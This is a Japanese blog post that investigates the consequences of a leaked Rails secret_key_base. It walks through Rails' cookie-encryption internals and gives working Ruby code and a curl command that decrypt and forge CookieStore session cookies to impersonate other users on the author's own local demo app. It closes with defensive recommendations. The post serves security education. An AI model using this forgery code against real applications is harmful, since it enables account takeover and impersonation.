Tech Racho エンジニアの「?」を「!」に。
  • Ruby / Rails関連

secret_key_baseが漏れると何が起きるのか実際に試してみた

社内でRailsコードのレビューをしていて、 Dockerfile に環境変数で SECRET_KEY_BASE="dummy" のようにベタ書きしているのを見つけました。これはまずいよね、多分任意のセッション改ざんによるなりすましなどがし放題になりそうだよね、と思ったものの、これまで雰囲気で使っていて確かなことが言えなかったので、良い機会ということで少し調べてみることにしました。

🔗 secret_key_baseについて

🔗 secrets と credentials, RAILS_MASTER_KEY ってなんだっけ

🔗 secrets

Rails 4.1で secrets.yml が登場して、environmentごとの認証情報を平文で保存していました。その後Rails 5.2で secrets.yml.enc が登場して、 RAILS_MASTER_KEY または secrets.yml.key で暗号化するようになりました。どちらの場合でも Rails.application.secrets で取得できます。

Rails 5.2以降では credentials.yml.enc を使うことになっていて、Rails 7.2で互換対応も消されるそうなので、今となっては忘れて良い存在です。

🔗 credentials

secretsを置き換える形で、Rails 5.2で登場しました。チュートリアルにも当然乗っているやつですね。secrets.yml.enc と似たような仕組みですが、本番環境用なのでenvironmentごとの分岐書式がないほか、取得の方法が Rails.application.credentials になっています。

rails new すると、 config/credentials.yml.encconfig/master.key が生成されていると思います。 credentials.yml.enc が暗号化された認証情報で、 master.key がそれの暗号鍵です。 master.key はgitignoreされており、リポジトリでは共有せず機密情報として別途管理することになります。

rails newに使ったRailsバージョン: 7.1.3.2)

bin/rails credentials:edit コマンドは、 config/master.key ファイルまたは RAILS_MASTER_KEY 環境変数で指定された鍵を使って credentials.yml.enc を復号して編集し、暗号化して保存するのに使います。

手元でrails newした環境では、 credentials:edit したところ以下のようなYAMLでした。 secret_key_base が自動生成されていることが確認できます。(実際のアプリでの結果をこのように晒してはいけません)

# aws:
#   access_key_id: 123
#   secret_access_key: 345

# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: 054221cfea6eb4087a101175de7dce6116d99ca28d2dae9e4928cab4eda3c4f561ecffbe56fe2e21c7f3c6f371fc1789ecf9417a0b1333dd98bd98ba2edde371

🔗 secret_key_base の取得方法

基本的な取り方は以下のようになります。

# 現在のenvironmentに応じた、実際に使われる値が取得できる(通常はこれを使う)
Rails.application.secret_key_base

# environmentに関係なく、credentials.yml.encに格納されている値が取得できる
Rails.application.credentials.secret_key_base

Rails::Application#secret_key_baseの定義を見てみると、以下のようになっています。

🔗 local(development, test)環境、または SECRET_KEY_BASE_DUMMY 環境変数がセットされている場合

generate_local_secret で、以下の優先順位で採用されます。

  1. tmp/local_secret.txt に記載されている値
  2. Rails.application.secrets.secret_key_base の値(現在は非推奨の secrets.yml で設定)
  3. SecureRandom.hex(64) でランダム生成(この場合、生成された値が tmp/local_secret.txt に平文で保存される)

つまり、実質的には初回起動時のランダム生成でtmp/local_secret.txtに平文保存となります。

🔗 production 環境の場合

以下の優先順位で採用されます。

  1. SECRET_KEY_BASE 環境変数の値
  2. Rails.application.credentials.secret_key_base の値( credentials.yml.enc で設定)
  3. Rails.application.secrets.secret_key_base の値(DEPRECATED, 7.2で削除予定)

プロジェクトによって、環境変数で指定しているケースも、credentials.yml.encで指定しているケースもあると思います。

🔗 SECRET_KEY_BASE_DUMMY って何

SECRET_KEY_BASE_DUMMY 環境変数を指定すると、productionの環境でも、localと同じように tmp/local_secrets.txtsecret_key_base として使うようになります。Dockerfile内で assets:precompile を実行するときに RAILS_MASTER_KEY を渡したくない、しかし渡さないとエラーになる、といった問題を解消します。

production以外で指定しても特に意味はありません。また当然ですが、間違っても secret_key_base が使われるようなタスクで指定してはいけません。

🔗 どうやって指定すべき?

SECRET_KEY_BASE を環境変数で指定するか、それとも credentials.yml.enc で指定するか、どちらが良いかはプロジェクトの方針次第だと思います。

個人的には credentials.enc.yml があまり好きではなく、AWS Systems Manager Parameter StoreのSecure Stringに SECRET_KEY_BASE の値を直接入れるほうが好きです。

🔗 secret_key_base の使われ方を調べて、漏洩したらどうなるのかを試してみる

ドキュメントによると

The secret_key_base is used as the input secret to the application’s key generator, which in turn is used to create all ActiveSupport::MessageVerifier and ActiveSupport::MessageEncryptor instances, including the ones that sign and encrypt cookies.

とあるので、わかりやすいCookieを具体的に見てみます。

🔗 想定するWebアプリ

実験のために、以下のようなRailsアプリを用意します。アプリ名は安直に secretkey としてみました。

本来、sign_inのアクションを経由してしか session[:user_id] はセットできてはいけませんし、sessionの中身をユーザが見ることもできないはずです。例ではパスワードを検証していませんが、実際のWebアプリでもセッションストアとしてCookieを使うのであれば本質的には似たような仕組みになっていると思います。

  • app/controllers/users_controller.rb
class UsersController < ApplicationController
  def index
    @user_id = session[:user_id]
  end

  def sign_in
    # 本来はここで params[:password] を検証してユーザ認証する
    session[:user_id] = 1
    redirect_to root_path
  end

  def sign_out
    session.delete(:user_id)
    redirect_to root_path
  end
end
  • app/views/users/index.html.erb
<p>current user id: <%= @user_id %></p>

<p><a href="./sign_in">sign in</a> <a href="./sign_out">sign out</a></p>
  • config/routes.rb
Rails.application.routes.draw do
  root 'users#index'
  get 'sign_in', to: 'users#sign_in'
  get 'sign_out', to: 'users#sign_out'
end

また tmp/local_secret.txt は以下のとおりです。

a4e365520aee6c853f63b5dc241d76589a4b32fce20938762031d33dc52a5fef3e9485f7768b1d05ab3c47b1d0415eea29817b00c3d75e006b3e648d1991b746

🔗 コードを読む

🔗 Cookie処理の場所

まずはsession storeを確認してみます。

irb(main):001> Rails.application.config.session_store
=> ActionDispatch::Session::CookieStore

デフォルトはやはりCookieStoreです。actionpack/lib/action_dispatch/middleware/session/cookie_store.rbを見ると、 signed_or_encrypted を使っています。


※随所で request.xxx が参照されていますが、これは実際にHTTPリクエストヘッダにセットされているわけではなく、設定値をRack Middleware層で使うためにRails.application#env_configでコピーしているようなものなので、深く考えなくて良さそうです。

actionpack/lib/action_dispatch/middleware/cookies.rbsigned_or_encrypted の定義によると、 secret_key_base が存在すれば encrypted で、存在しなければ signed が使われるとあります。コードを流し読んだ限りでは通常encryptの方に流れると思うので、そちらを追いかけることにして EncryptedKeyRotatingCookieJar を読んでみます。

🔗 @encryptorの初期化

Rails.application.config.action_dispatch.use_authenticated_cookie_encryption はtrueだったので、 @encryptor は以下のコードで初期化されます。

key_len = ActiveSupport::MessageEncryptor.key_len(encrypted_cookie_cipher)
secret = request.key_generator.generate_key(request.authenticated_encrypted_cookie_salt, key_len)
@encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: encrypted_cookie_cipher, serializer: SERIALIZER)
  • encrypted_cookie_cipher"aes-256-gcm" なので、 key_len は32になります。
  • authenticated_encrypted_cookie_salt は特別に設定していなければ初期値が使われて "authenticated encrypted cookie" になります。
  • key_generatorActiveSupport::CachingKeyGenerator が使用され、イニシャライザに secret_key_base の値が渡されます。

これらのことから ActiveSupport::KeyGenerator#generate_key で生成される secret は以下のようになります。

# @secret: secret_key_base の値
# salt: "authenticated encrypted cookie"
# @iterations: 1000 (Rails::Application#key_generatorでハードコーディングされた値)
# key_size: 32 (EncryptedKeyRotatingCookieJarから渡す引数)
# @hash_digest_class: OpenSSL::Digest::SHA256 (Rails.application.config.active_support.hash_digest_classの値)
OpenSSL::PKCS5.pbkdf2_hmac(@secret, salt, @iterations, key_size, @hash_digest_class.new)

よって @encryptor は以下のような内容で初期化されていることになります。

ActiveSupport::MessageEncryptor.new(
  "上記のgenerate_keyで生成されたsecret",
  cipher: "aes-256-gcm",
  serializer: ActiveSupport::MessageEncryptor::NullSerializer
)

このあとrotateが行われそうですが、一旦そこは無視してみます。

ということで、ドキュメントに書いてあるとおりですが、 secret_key_base はセッションストア内部で使われている ActiveSupport::MessageEncryptor のイニシャライザ第1引数であるsecretを生成する種になっていることがわかりました。

🔗 実験してみる

🔗 secret値の生成

前述のパラメータを元に、MessageEncryptor に渡す secret を生成してみます。これはRails consoleではなくirbでも実行可能です。

require 'openssl'
secret_key_base = "a4e365520aee6c853f63b5dc241d76589a4b32fce20938762031d33dc52a5fef3e9485f7768b1d05ab3c47b1d0415eea29817b00c3d75e006b3e648d1991b746"
OpenSSL::PKCS5.pbkdf2_hmac(secret_key_base, "authenticated encrypted cookie", 1000, 32, OpenSSL::Digest::SHA256.new)
=> "&\xD2*\xE8xaO\xD1\xB1\x1A\x19\x95\x910Qm\x8F4\x10\xB2\xAF\x87#\xDE\x87O1\xA1O`\xF5\xA3"

結果が得られました。これは secret_key_base (と通常はデフォルト値が主流であろうsalt)が同じなら再現性がありそうです。

🔗 実際のセッションCookieをdecryptしてみる

bin/rails s でWebアプリを起動し、ブラウザで「sign in」をクリックして session[:user_id] に1が格納された状態にします。このときCookieの _secretkey_session の値は以下のようになっていました(これは毎回変わります)。

yQvbWuupBieOSt6MtKBQQYWBlXPm1e2s1abtm8Ve7Z0wFk3mC7jg%2FM54lHM9e1ImmWJeLpTyfmEbqFxTYcE2EGgZo0g5IfvdFNtL9o5Yay2Ef42zQupfiRgz2OK8EZEIFuixPZWKaT5NrnoLFls7j6s6jGz9ayY9VbqVTWt%2BGZglZaWZYT9sKKrFknV8WHbekkeYor2vzBUrV1bmP9Daqb8KAdHe0V8iYq46AgYO%2BgQZVUe4rvdiyQpfDqct8chtHamwfMKyarWjZFAGMYFp%2FbsdNlX1Kx6nIDFgkYV8oPHVv5updB6DuVWg--qu%2B70fa%2BFJSgRqVv--wnTA%2FhlLS%2BvlVmWgFD7TuA%3D%3D

復号処理はActiveSupport::MessageEncryptor#decrypt_and_verifyで行われますが、エラーが握りつぶされて見づらいので read_message を直接使ってみます。

secret = "&\xD2*\xE8xaO\xD1\xB1\x1A\x19\x95\x910Qm\x8F4\x10\xB2\xAF\x87#\xDE\x87O1\xA1O`\xF5\xA3"
cookie = "yQvbWuupBieOSt6MtKBQQYWBlXPm1e2s1abtm8Ve7Z0wFk3mC7jg%2FM54lHM9e1ImmWJeLpTyfmEbqFxTYcE2EGgZo0g5IfvdFNtL9o5Yay2Ef42zQupfiRgz2OK8EZEIFuixPZWKaT5NrnoLFls7j6s6jGz9ayY9VbqVTWt%2BGZglZaWZYT9sKKrFknV8WHbekkeYor2vzBUrV1bmP9Daqb8KAdHe0V8iYq46AgYO%2BgQZVUe4rvdiyQpfDqct8chtHamwfMKyarWjZFAGMYFp%2FbsdNlX1Kx6nIDFgkYV8oPHVv5updB6DuVWg--qu%2B70fa%2BFJSgRqVv--wnTA%2FhlLS%2BvlVmWgFD7TuA%3D%3D"

encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: ActiveSupport::MessageEncryptor::NullSerializer)
encryptor.read_message(URI.decode_uri_component(cookie), purpose: 'cookie._secretkey_session')

=> "{\"session_id\":\"8b7e24e77ea1073465a8cb6b862d0ef8\",\"_csrf_token\":\"CRI6N_hM6Mx8Ku9P1iW5-5PIKVJPBh2RO38RVJ0pBRg\",\"user_id\":1}"

セッションの中身が取得できました。

🔗 セッションを偽装してみる

本題です。Webアプリを通さずに、セッションの中身を改ざんできるか見てみます。

まずはRails consoleから。

secret = "&\xD2*\xE8xaO\xD1\xB1\x1A\x19\x95\x910Qm\x8F4\x10\xB2\xAF\x87#\xDE\x87O1\xA1O`\xF5\xA3"
encryptor = ActiveSupport::MessageEncryptor.new(secret, cipher: "aes-256-gcm", serializer: ActiveSupport::MessageEncryptor::NullSerializer)
URI.encode_www_form_component(@encryptor.create_message({session_id:'hoge',user_id:2}.to_json))

=> "MesHMVG7oC%2BXcs5biX2YdIsPejtuR1%2FHuHrB6ERi0LiS--uzhaR%2FNEMk7DEuzq--RhwV9muGE6dU6vghW8V4LQ%3D%3D"

生成できました。これをブラウザにセットするかcurlで叩いてみます。

curl -H "Cookie: _secretkey_session=MesHMVG7oC%2BXcs5biX2YdIsPejtuR1%2FHuHrB6ERi0LiS--uzhaR%2FNEMk7DEuzq--RhwV9muGE6dU6vghW8V4LQ%3D%3D" http://localhost:3000

あっさりと "current user id: 2" が表示されました。

🔗 irbで試す

Rails consoleでうまく行っても、裏で実は認証情報を見ていたとかではつまらないので、念のためにirbで試してみます。要は ActiveSupport::MessageEncryptor#create_message と同じことをすれば良いので

def create_message(value, **options) # :nodoc:
  sign(encrypt(serialize_with_metadata(value, **options)))
end
  • serialize_with_metadata は実質何もしていない
  • encrypt はopensslで地道に
  • sign は試した範囲ではなくても動く

ということでゴリゴリやってみます。このコードでは、 secret_key_base 以外、環境固有のことは何も書いていません。

require 'openssl'
require 'base64'
require 'json'
require 'uri'

secret_key_base = "a4e365520aee6c853f63b5dc241d76589a4b32fce20938762031d33dc52a5fef3e9485f7768b1d05ab3c47b1d0415eea29817b00c3d75e006b3e648d1991b746"
data = { session_id: 'hoge', user_id: 3 }.to_json

secret = OpenSSL::PKCS5.pbkdf2_hmac(secret_key_base, "authenticated encrypted cookie", 1000, 32, OpenSSL::Digest::SHA256.new)

cipher = OpenSSL::Cipher.new("aes-256-gcm")
cipher.encrypt
cipher.key = secret
iv = cipher.random_iv
cipher.auth_data = ""
encrypted_data = cipher.update(data)
encrypted_data << cipher.final
parts = [encrypted_data, iv, cipher.auth_tag(16)]
encrypted = parts.map { |part| Base64.strict_encode64(part) }.join('--')

puts URI.encode_www_form_component(encrypted)

# => %2BTLMNRX7ggYjE9c4YSGmybYOpY3wU%2Bdhw9%2F2dmZdl0%2FT--rvG0LaP0Lj80s0mB--Lx58XkRMJjxwe4LrHKVdyA%3D%3D

文字列が生成されました。これをまたブラウザにセットするかcurlで叩いてみます。

ばっちり「current user id: 3」が出力されました。

🔗 production環境で試してみる

RAILS_ENV=production bin/rails s -b 0.0.0.0 で起動し(config.force_sslはOFF)て試してみます。

tmp/local_secret.txt の内容では認証されないのは当然として、 bin/rails credentials:edit で入手した本番用の secret_key_base で試すと、developmentと同じようにセッションの値を書き換えられることが確認できます。

🔗 まとめ

secret_key_base があれば、Cookieのセッション値を自由に改ざんできることが確認できました。まあそうですよね、といったところですが、rotateとかsignとかコード中に色々あったからもう少しくらい多段防御的な仕組みあるかもと思ったら、意外とないですね。何か設定をいじれば多少変わるかもしれませんが、いずれにせよマスターキー相当が漏れたら大した意味はなさそうです。

また、 secret_key_base"dummy" のように明らかに危険で文字数が足りない場合でも、特にエラーが出ないことは注意が必要だと思いました。空文字でもエラーにならず黙ってsignedにフォールバックする(ユーザに情報が露出する)ようで、フェールセーフ感はあまりありません。productionで SECRET_KEY_BASE を環境変数経由で渡すことにしている場合、万一何らかの事故で渡らなかったら即エラーになるように、デフォルト値をnilにするなど工夫したほうが安全そうです。開発初期に「とりあえずassets:precompile通るDockerfile」を作っておいて、それをproductionに流用し、本番サーバ設置するときにちゃんとしようと思って忘れる、とかならないように...

セッションストアにCookieStoreを使っているシステムにおいて、セッション値を任意に書き換えられるということは、一般的に「なんでもできる」を意味します。管理者を含む任意のユーザになりすませますし、MFAがあろうと関係ありません。secretなので漏れてはダメなのは当然ですが、特に慎重に扱う必要があります。

高いセキュリティが求められるシステムでは、CookieStoreではなくredis等のバックエンドにセッションを保存し、CookieにはセッションIDだけを含めることは検討すべきだと思います。CookieStoreだと特定ユーザを強制ログアウトさせることができない(OWASP TOP 10 2021の観点でも問題)といった問題もあり、実装がお手軽でスケーラビリティが高いのはメリットですが、セキュリティレベルを高くしにくいことは意識が必要ですね。セッションストアさえ他のものにしておけば、 MessageEncryptor を使うケースは相当絞られるので、あとはアプリケーションごとの特性に応じて個別にキーのローテーションなどを考えていけば良さそうです。

全体としては当初予想の範囲内ではありましたが、secret_key_base は雑にやっちゃだめだよ、ということについて、より実感を持って理解できました。

関連記事

保存版: Railsアプリケーションのセキュリティベストプラクティス(翻訳)

Railsアプリで実際にあった5つのセキュリティ問題と修正方法(翻訳)


CONTACT

TechRachoでは、パートナーシップをご検討いただける方からの
ご連絡をお待ちしております。ぜひお気軽にご意見・ご相談ください。